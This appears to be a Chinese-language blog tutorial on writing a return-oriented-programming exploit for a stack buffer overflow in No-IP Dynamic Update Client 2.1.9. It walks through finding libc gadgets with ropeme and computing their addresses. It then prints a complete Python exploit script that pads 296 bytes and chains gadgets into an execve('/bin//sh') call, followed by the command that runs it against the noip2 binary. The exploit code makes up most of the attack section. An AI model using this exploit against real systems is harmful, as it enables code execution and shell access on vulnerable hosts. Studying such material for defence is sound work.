盒子
盒子
文章目录
  1. I、实验环境
  2. II、exploit 结构
    1. ① 参数分布
    2. ② exploit 结构
  3. III、搜索 ROP gadgets
    1. ① 查看 noip 关联的库
    2. ② 调用 ropeme generate 函数
    3. ③ 搜索 xor eax,eax;ret;
    4. ④ 搜索其他 gadgets,并生成 exploit
  4. IV、以 ROP exploit 运行 noip
  5. V、参考文献

构造 NO IP(DUC) ROP exploit

No-IP Dynamic Update Client (DUC) 2.1.9 缓冲区溢出分析,分析了漏洞成因和基本 POC 构造。
一般情况,应用程序的栈和堆是不可执行的,本文旨在编写通用的exploit。

I、实验环境

  • 操作系统: kali 3.18.0-kali3-686-pae #1 SMP Debian 3.18.6-1~kali2
  • 调试工具:edb-debugger
  • ROP gadget 搜索工具:ropeme
  • 应用程序:No-IP

II、exploit 结构

关于 ROP exploit 详细构造过程,请参考ROP exploit 编写

① 参数分布

Linux 系统调用参数存放于 ebx,edx,esi,edi,因此

  • ebx:存放字符串”/bin/sh” 地址
  • ecx:存放指向 argp 数组的指针
  • edx:存放指向 envp 数组的指针
  • eax:系统调用号 0xb

② exploit 结构

  1. 清零 eax
  2. ecx 设置为 argp 数组指针
  3. edx 设置为 anvp 数组指针
  4. 将 “/bin/sh” 地址存放于 ebx
  5. eax 值加 0xb
  6. 执行系统调用,int 0x80
  7. eax 清零
  8. eax 加 1
  9. ebx 清零
  10. 执行系统调用,int 0x1

    Tips: 7、8、9、10 正常退出shellcode,尽管没有这几个 gadgets,shellcode 依然可以新建shell,但要具有良好的编写习惯。
    详细请参考 Shellcoding for Linux and Windows Tutorial

III、搜索 ROP gadgets

① 查看 noip 关联的库

  • 查看 noip 进程号pid

    1
    ps -aux | grep noip

    进程 pid : 6589

  • 查看对应 pid 的映射表maps
    cat /proc/pid/maps

    1
    cat /proc/6589/maps

② 调用 ropeme generate 函数

系统库函数 /lib/i386-linux-gnu/i686/cmov/libc-2.19.so 包含丰富的 gadgets,足够组成 ROP exploit,因此选择搜索库函数 /lib/i386-linux-gnu/i686/cmov/libc-2.19.so。

此库函数的起始地址 :0xb7e15000需用此地址计算 gadgets 的绝对地址。
1
generate /lib/i386-linux-gnu/i686/cmov/libc-2.19.so 4

③ 搜索 xor eax,eax;ret;

1
search xor eax %

结果集中的所有 gadgets 地址都是相对地址

绝对地址 = 相对地址 + 库函数起始地址

选取 0x2ed2cL: xor eax eax ;;
绝对地址 :0xb7e15000 + 0x2ed2c = 0xb7e43d2c

④ 搜索其他 gadgets,并生成 exploit

以同样的方式搜索其他 gadgets ,并计算绝对地址。

前文介绍,返回地址的偏移量为:296,因此要先填充 296 个 ‘\x90’。
最后 exploit:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#!/usr/bin/env python2
# execve generated by ROPgadget
from struct import pack
# Padding goes here
p = ''
p += '\x90'*296
p += pack('<I', 0xb7f01e30) # 0xece30L: pop ecx ; pop eax ;;
p += '/bin'
p += pack('<I', 0x08052140) # @ .data
p += pack('<I', 0xb7e42ece) # 0x2deceL: mov [eax] ecx ;;
p += pack('<I', 0xb7f01e30) # 0xece30L: pop ecx ; pop eax ;;
p += '//sh'
p += pack('<I', 0x08052144) # @ .data + 4
p += pack('<I', 0xb7e42ece) # 0x2deceL: mov [eax] ecx ;;
p += pack('<I', 0xb7e43d2c) # 0x2ed2cL: xor eax eax ;;
p += pack('<I', 0xb7e16aa2) # 0x1aa2L: pop edx ;;
p += pack('<I', 0x08052148) # @ .data + 8
p += pack('<I', 0xb7f19611) # 0x104611L: mov [edx] eax ; xor eax eax ;;
p += pack('<I', 0xb7e430cb) # 0x2e0cbL: pop ecx ; pop edx ;;
p += pack('<I', 0x08052148) # @ .data + 8
p += pack('<I', 0x08052148) # @ .data + 8
p += pack('<I', 0xb7e2e8ae) # 0x198aeL: pop ebx ;;
p += pack('<I', 0x08052140) # @ .data
p += pack('<I', 0xb7f56e56) # 0x141e56L: add eax 0xb ;;
p += pack('<I', 0xb7fdfce0) # 0xce0L: int 0x80 ;;
p += pack('<I', 0xb7e96547) # xor edx edx ; mov eax edx ;;
p += pack('<I', 0xb7eedfc2) # mov ebx edx ;;
p += pack('<I', 0xb7fdfd76) # 0xd76L: add al 0x1 ;;
p += pack('<I', 0xb7fdfce0) # 0xce0L: int 0x80 ;;
print p

IV、以 ROP exploit 运行 noip

1
./NO-IP/noip-2.1.9-1/binaries/noip2-i686 -i "`./NO-IP/ropExp.py`"

V、参考文献

No-IP Dynamic Update Client (DUC) 2.1.9 - Local IP Address Stack Overflow

支持一下
走过的,路过的,请支持一下我 n(*≧▽≦*)n